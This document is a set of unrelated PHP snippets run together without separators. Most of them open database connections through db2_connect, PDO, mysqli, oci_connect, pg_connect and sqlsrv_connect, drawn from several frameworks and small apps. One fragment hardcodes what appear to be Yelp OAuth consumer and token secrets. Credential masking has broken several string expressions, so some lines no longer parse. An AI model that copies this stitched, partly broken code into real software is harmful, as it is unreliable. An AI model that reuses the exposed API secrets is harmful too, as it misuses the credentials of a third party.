$errstr, $this->timeout); if ($resource !== FALSE) { fclose($resource); $resource = TRUE; } else { $this->connection = FALSE; } } if ($resource) { $this->connection = oci_connect($this->username, $this->password, $this->host . ($this->port ? ':' . $this->port : '') . '/' . $this->database, 'AL32UTF8'); } $errors = fCore::stopErrorCapture(); } if ($this->extension == 'pgsql') { $connection_string = "dbname='" . addslashes($this->database) . "'"; if ($this->host && $this->host != 'sock:') { $connection_string .= " host='" . addslashes($this->host) . "'"; } if ($this->username) { $connection_string .= " user='******'"; } if ($this->password) { $connection_string .= " password='******'"; } if ($this->port) { $connection_string .= " port='" . $this->port . "'"; } if ($this->timeout !== NULL) { $connection_string .= " connect_timeout='" . $this->timeout . "'"; } fCore::startErrorCapture(); $this->connection = pg_connect($connection_string, PGSQL_CONNECT_FORCE_NEW); $errors = fCore::stopErrorCapture(); } if ($this->extension == 'sqlsrv') { $options = array('Database' => $this->database); if ($this->username !== NULL) { $options['UID'] = $this->username; } if ($this->password !== NULL) { $options['PWD'] = $this->password; } if ($this->timeout !== NULL) { $options['LoginTimeout'] = $this->timeout; } $this->connection = sqlsrv_connect($this->host . ',' . $this->port, $options); if ($this->connection === FALSE) { $errors = sqlsrv_errors(); } sqlsrv_configure('WarningsReturnAsErrors', 0); } // Ensure the connection was established if ($this->connection === FALSE) { $this->handleConnectionErrors($errors); } // Make MySQL act more strict and use UTF-8 if ($this->type == 'mysql') { $this->execute("SET SQL_MODE = 'REAL_AS_FLOAT,PIPES_AS_CONCAT,ANSI_QUOTES,IGNORE_SPACE'"); $this->execute("SET NAMES 'utf8'"); $this->execute("SET CHARACTER SET utf8"); } // Make SQLite behave like other DBs for assoc arrays if ($this->type == 'sqlite') { $this->execute('PRAGMA short_column_names = 1'); } // Fix some issues with mssql if ($this->type == 'mssql') { if (!isset($this->schema_info['character_set'])) { $this->determineCharacterSet(); } $this->execute('SET TEXTSIZE 65536'); $this->execute('SET QUOTED_IDENTIFIER ON'); } // Make PostgreSQL use UTF-8 if ($this->type == 'postgresql') { $this->execute("SET NAMES 'UTF8'"); } // Oracle has different date and timestamp defaults if ($this->type == 'oracle') { $this->execute("ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'"); $this->execute("ALTER SESSION SET NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS'"); $this->execute("ALTER SESSION SET NLS_TIMESTAMP_TZ_FORMAT = 'YYYY-MM-DD HH24:MI:SS TZR'"); $this->execute("ALTER SESSION SET NLS_TIME_FORMAT = 'HH24:MI:SS'"); $this->execute("ALTER SESSION SET NLS_TIME_TZ_FORMAT = 'HH24:MI:SS TZR'"); } }
require_once 'lib/OAuth.php'; $database = "test"; //mysample"; $user = "******"; $pass = ""; const userAccount = "EMMANUEL"; // used for sql database query const COUNTY = "San Luis Obispo County"; //enter your county here const errorFile1 = "error_log.txt"; const errorFile2 = "rejected_log.txt"; const totalEntries = 1000; //MODIFY $conn = null; try { $conn = db2_connect($database, $user, $pass); } catch (Exception $e) { echo "Exception: " . $e->getMessage(); } /* Cities whitelisting setup as Key Value pair for Hash table lookup O(1) */ $cities = array("San Luis Obispo" => "1", "Paso Robles" => "1", "Pismo Beach" => "1", "Morro Bay" => "1", "Arroyo Grande" => "1", "Atascadero" => "1", "Avila Beach" => "1", "Grover Beach" => "1", "Los Osos, California" => "1", "San Simeon" => "1", "Santa Margarita" => "1", "Los Osos" => "1", "Creston" => "1", "Harmony" => "1", "Pozo" => "1", "Edna" => "1", "Cholame" => "1", "Halcyon" => "1"); /* REFRESH INFO, NO NEED TO MODIFY */ $page = $_SERVER['PHP_SELF']; $sec = "1"; /* START OF YELP DATA */ $CONSUMER_KEY = "XGH3h2PJejgT2mInD0sPdw"; //NULL; $CONSUMER_SECRET = "U6Sxit7hCeag6scmjNdoLq1-3jQ"; //NULL; $TOKEN = "H3i8JiTAm-A0YpXoLD-nkG7k_yoUQm2N"; //NULL;
public function connect(array $configOptions = null, $dieOnError = false) { global $sugar_config; if (is_null($configOptions)) { $configOptions = $sugar_config['dbconfig']; } if ($this->getOption('persistent')) { $persistConnection = true; } else { $persistConnection = false; } // Creating the connection string dynamically so that we can accommodate all scenarios // Starting with user and password as we always need these. $dsn = "UID=" . $configOptions['db_user_name'] . ";PWD=" . $configOptions['db_password'] . ";"; $this->schema = strtoupper($configOptions['db_user_name']); // Converting to upper since DB2 expects it that way if (isset($configOptions['db_name']) && $configOptions['db_name'] != '') { $dsn = $dsn . "DATABASE=" . $configOptions['db_name'] . ";"; } if (!isset($configOptions['db_host_name']) || $configOptions['db_host_name'] == '') { $configOptions['db_host_name'] = 'localhost'; } // Connect to localhost by default $dsn = $dsn . "HOSTNAME=" . $configOptions['db_host_name'] . ";"; if (!isset($configOptions['db_protocol']) || $configOptions['db_protocol'] == '') { $configOptions['db_protocol'] = 'TCPIP'; } // Use TCPIP as default protocol $dsn = $dsn . "PROTOCOL=" . $configOptions['db_protocol'] . ";"; if (!isset($configOptions['db_port']) || $configOptions['db_port'] == '') { $configOptions['db_port'] = '50000'; } // Use 50000 as the default port $dsn = $dsn . "PORT=" . $configOptions['db_port'] . ";"; if (!isset($configOptions['db_options'])) { $configOptions['db_options'] = array(); } if ($persistConnection) { $this->database = db2_pconnect($dsn, '', '', $configOptions['db_options']); if (!$this->database) { $this->log->fatal(__CLASS__ . ": Persistent connection specified, but failed. Error: " . db2_conn_error() . ": " . db2_conn_errormsg()); } } if (!$this->database) { $this->database = db2_connect($dsn, '', '', $configOptions['db_options']); if ($this->database && $persistConnection) { $_SESSION['administrator_error'] = "<b>Severe Performance Degradation: Persistent Database Connections " . "not working. Please set \$sugar_config['dbconfigoption']['persistent'] to false " . "in your config.php file</b>"; } if (!$this->database) { $this->log->fatal(__CLASS__ . ": Could not connect to Database with non-persistent connection. Error " . db2_conn_error() . ": " . db2_conn_errormsg()); } } // Skipping check for statement errors as there is a bug in the DB2 driver // http://pecl.php.net/bugs/bug.php?id=22854 // TODO take this skip out when the DB2 bug is fixed $this->ignoreErrors = true; if (!$this->checkError('Could Not Connect:', $dieOnError) && $this->database != false) { $this->log->info("connected to db"); if (db2_autocommit($this->database, DB2_AUTOCOMMIT_OFF)) { $this->log->info("turned autocommit off"); } else { $this->log->error("failed to turn autocommit off!"); } } $this->ignoreErrors = false; $this->log->info("Connect:" . $this->database); return !empty($this->database); }
<header> <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" integrity="sha512-dTfge/zgoMYpP7QbHy4gWMEGsbsdZeCXz7irItjcC3sPUFtf0kuFbDz/ixG7ArTxmDjLXDmezHubeNikyKGVyQ==" crossorigin="anonymous"> <!-- Optional theme --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css" integrity="sha384-aUGj/X2zp5rLCbBxumKTCw2Z50WgIr1vs/PFN4praOTvYXWlVyh2UtNUU0KAUhAX" crossorigin="anonymous"> </header> <html> <body> <?php include 'nav.php'; include 'config.php'; $conn = db2_connect($dbname, $username, $password); if ($conn) { $userName = $_SESSION['username']; print '<h1 style="font-weight: bold; text-align: center; color: rgb(0,0,255)">Account View</h1>'; print '<h2 style="font-weight: bold; text-align: center;">Current Bidding</h2>'; // Current Bid $sql = "SELECT ID, IMAGE, DESCRIPTION, CONDITION FROM " . $computerName . ".ITEMS"; $stmt = db2_prepare($conn, $sql); if ($stmt) { $result = db2_execute($stmt); if (!$result) { echo "exec errormsg: " . db2_stmt_errormsg($stmt); die("Failed Query"); } while ($row = db2_fetch_array($stmt)) { // FOR EACH ITEM
/** * Connect * * @return ConnectionInterface */ public function connect() { if (is_resource($this->resource)) { return $this; } // localize $p = $this->connectionParameters; // given a list of key names, test for existence in $p $findParameterValue = function (array $names) use($p) { foreach ($names as $name) { if (isset($p[$name])) { return $p[$name]; } } return null; }; $connection = array(); $connection['database'] = $findParameterValue(array('database', 'db')); $connection['username'] = $findParameterValue(array('username', 'uid', 'UID')); $connection['password'] = $findParameterValue(array('password', 'pwd', 'PWD')); $connection['options'] = isset($p['driver_options']) ? $p['driver_options'] : array(); $this->resource = db2_connect($connection['database'], $connection['username'], $connection['password'], $connection['options']); if ($this->resource === false) { throw new Exception\RuntimeException(sprintf('%s: Unable to connect to database', __METHOD__)); } return $this; }
/** * Connects to the database specified if no connection exists * * @return void */ private function connectToDatabase() { // Don't try to reconnect if we are already connected if ($this->connection) { return; } // Establish a connection to the database if ($this->extension == 'pdo') { $username = $this->username; $password = $this->password; if ($this->type == 'db2') { if ($this->host === NULL && $this->port === NULL) { $dsn = 'ibm:DSN:' . $this->database; } else { $dsn = 'ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=' . $this->database . ';HOSTNAME=' . $this->host . ';'; $dsn .= 'PORT=' . ($this->port ? $this->port : 60000) . ';'; $dsn .= 'PROTOCOL=TCPIP;UID=' . $username . ';PWD=' . $password . ';'; $username = NULL; $password = NULL; } } elseif ($this->type == 'mssql') { $separator = fCore::checkOS('windows') ? ',' : ':'; $port = $this->port ? $separator . $this->port : ''; $driver = fCore::checkOs('windows') ? 'mssql' : 'dblib'; $dsn = $driver . ':host=' . $this->host . $port . ';dbname=' . $this->database; } elseif ($this->type == 'mysql') { if (substr($this->host, 0, 5) == 'sock:') { $dsn = 'mysql:unix_socket=' . substr($this->host, 5) . ';dbname=' . $this->database; } else { $port = $this->port ? ';port=' . $this->port : ''; $dsn = 'mysql:host=' . $this->host . ';dbname=' . $this->database . $port; } } elseif ($this->type == 'oracle') { $port = $this->port ? ':' . $this->port : ''; $dsn = 'oci:dbname=' . $this->host . $port . '/' . $this->database . ';charset=AL32UTF8'; } elseif ($this->type == 'postgresql') { $dsn = 'pgsql:dbname=' . $this->database; if ($this->host && $this->host != 'sock:') { $dsn .= ' host=' . $this->host; } if ($this->port) { $dsn .= ' port=' . $this->port; } } elseif ($this->type == 'sqlite') { $dsn = 'sqlite:' . $this->database; } try { $this->connection = new PDO($dsn, $username, $password); if ($this->type == 'mysql') { $this->connection->setAttribute(PDO::MYSQL_ATTR_DIRECT_QUERY, 1); } } catch (PDOException $e) { $this->connection = FALSE; } } if ($this->extension == 'sqlite') { $this->connection = sqlite_open($this->database); } if ($this->extension == 'ibm_db2') { $username = $this->username; $password = $this->password; if ($this->host === NULL && $this->port === NULL) { $connection_string = $this->database; } else { $connection_string = 'DATABASE=' . $this->database . ';HOSTNAME=' . $this->host . ';'; $connection_string .= 'PORT=' . ($this->port ? $this->port : 60000) . ';'; $connection_string .= 'PROTOCOL=TCPIP;UID=' . $this->username . ';PWD=' . $this->password . ';'; $username = NULL; $password = NULL; } $options = array('autocommit' => DB2_AUTOCOMMIT_ON, 'DB2_ATTR_CASE' => DB2_CASE_LOWER); $this->connection = db2_connect($connection_string, $username, $password, $options); } if ($this->extension == 'mssql') { $separator = fCore::checkOS('windows') ? ',' : ':'; $this->connection = mssql_connect($this->port ? $this->host . $separator . $this->port : $this->host, $this->username, $this->password, TRUE); if ($this->connection !== FALSE && mssql_select_db($this->database, $this->connection) === FALSE) { $this->connection = FALSE; } } if ($this->extension == 'mysql') { if (substr($this->host, 0, 5) == 'sock:') { $host = substr($this->host, 4); } elseif ($this->port) { $host = $this->host . ':' . $this->port; } else { $host = $this->host; } $this->connection = mysql_connect($host, $this->username, $this->password, TRUE); if ($this->connection !== FALSE && mysql_select_db($this->database, $this->connection) === FALSE) { $this->connection = FALSE; } if ($this->connection && function_exists('mysql_set_charset') && !mysql_set_charset('utf8', $this->connection)) { throw new fConnectivityException('There was an error setting the database connection to use UTF-8'); } } if ($this->extension == 'mysqli') { if (substr($this->host, 0, 5) == 'sock:') { $this->connection = mysqli_connect('localhost', $this->username, $this->password, $this->database, $this->port, substr($this->host, 5)); } elseif ($this->port) { $this->connection = mysqli_connect($this->host, $this->username, $this->password, $this->database, $this->port); } else { $this->connection = mysqli_connect($this->host, $this->username, $this->password, $this->database); } if ($this->connection && !mysqli_set_charset($this->connection, 'utf8')) { throw new fConnectivityException('There was an error setting the database connection to use UTF-8'); } } if ($this->extension == 'oci8') { $this->connection = oci_connect($this->username, $this->password, $this->host . ($this->port ? ':' . $this->port : '') . '/' . $this->database, 'AL32UTF8'); } if ($this->extension == 'pgsql') { $connection_string = "dbname='" . addslashes($this->database) . "'"; if ($this->host && $this->host != 'sock:') { $connection_string .= " host='" . addslashes($this->host) . "'"; } if ($this->username) { $connection_string .= " user='******'"; } if ($this->password) { $connection_string .= " password='******'"; } if ($this->port) { $connection_string .= " port='" . $this->port . "'"; } $this->connection = pg_connect($connection_string, PGSQL_CONNECT_FORCE_NEW); } if ($this->extension == 'sqlsrv') { $options = array('Database' => $this->database, 'UID' => $this->username, 'PWD' => $this->password); $this->connection = sqlsrv_connect($this->host . ',' . $this->port, $options); } // Ensure the connection was established if ($this->connection === FALSE) { throw new fConnectivityException('Unable to connect to database'); } // Make MySQL act more strict and use UTF-8 if ($this->type == 'mysql') { $this->execute("SET SQL_MODE = 'REAL_AS_FLOAT,PIPES_AS_CONCAT,ANSI_QUOTES,IGNORE_SPACE'"); $this->execute("SET NAMES 'utf8'"); $this->execute("SET CHARACTER SET utf8"); } // Make SQLite behave like other DBs for assoc arrays if ($this->type == 'sqlite') { $this->execute('PRAGMA short_column_names = 1'); } // Fix some issues with mssql if ($this->type == 'mssql') { if (!isset($this->schema_info['character_set'])) { $this->determineCharacterSet(); } $this->execute('SET TEXTSIZE 65536'); $this->execute('SET QUOTED_IDENTIFIER ON'); } // Make PostgreSQL use UTF-8 if ($this->type == 'postgresql') { $this->execute("SET NAMES 'UTF8'"); } // Oracle has different date and timestamp defaults if ($this->type == 'oracle') { $this->execute("ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'"); $this->execute("ALTER SESSION SET NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS'"); $this->execute("ALTER SESSION SET NLS_TIMESTAMP_TZ_FORMAT = 'YYYY-MM-DD HH24:MI:SS TZR'"); $this->execute("ALTER SESSION SET NLS_TIME_FORMAT = 'HH24:MI:SS'"); $this->execute("ALTER SESSION SET NLS_TIME_TZ_FORMAT = 'HH24:MI:SS TZR'"); } }
if (getenv("VCAP_SERVICES")) { $json = getenv("VCAP_SERVICES"); } else { echo "No vcap services available.<br>"; return; } # Decode JSON and gather DB Info $services_json = json_decode($json, true); $blu = $services_json["sqldb"]; if (empty($blu)) { echo "No SQLDB service instance is bound. Please bind a SQLDB service instance<br>"; return; } //echo "Found sqldb env variables.<br> <br>"; $bludb_config = $services_json["sqldb"][0]["credentials"]; // create DB connect string $conn_strin = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=" . $bludb_config["db"] . ";HOSTNAME=" . $bludb_config["host"] . ";PORT=" . $bludb_config["port"] . ";PROTOCOL=TCPIP;UID=" . $bludb_config["username"] . ";PWD=" . $bludb_config["password"] . ";"; //echo "Printing out ENVIRONMENT VARIABLES: <br>"; //echo "db = " . $bludb_config["db"]. "<br>"; //echo "host = " . $bludb_config["host"] . "<br>"; //echo "port = " . $bludb_config["port"] . "<br>"; //echo "username = "******"username"] . "<br>"; //echo "passwd = " . $bludb_config["passwd"] . "<br>"; // connect SQLDB $conn4 = db2_connect($conn_strin, '', ''); if (!$conn4) { echo "Connection failed."; print db2_conn_errormsg() . "<br>"; return; }